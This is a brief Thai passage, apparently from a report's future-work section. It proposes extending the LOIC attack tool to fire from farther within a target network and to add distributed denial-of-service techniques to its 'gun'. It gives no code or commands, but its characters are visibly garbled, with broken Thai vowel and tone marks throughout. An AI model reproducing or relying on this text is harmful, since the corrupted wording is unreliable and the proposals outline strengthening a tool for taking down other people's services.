แอลโอไอซีให้สามารถยิงได้จากระยะที*ไกลมากขึ 'นในเครือขา่ยเป้าหมาย 

6.3.4. การนําเอาวิธีการโจมตีแบบปฏิเสธการใช้งานแบบกระจาย (distributed 
denial of service) มาใช้พฒันาตวัปืนให้กบัแอลโอไอซี 
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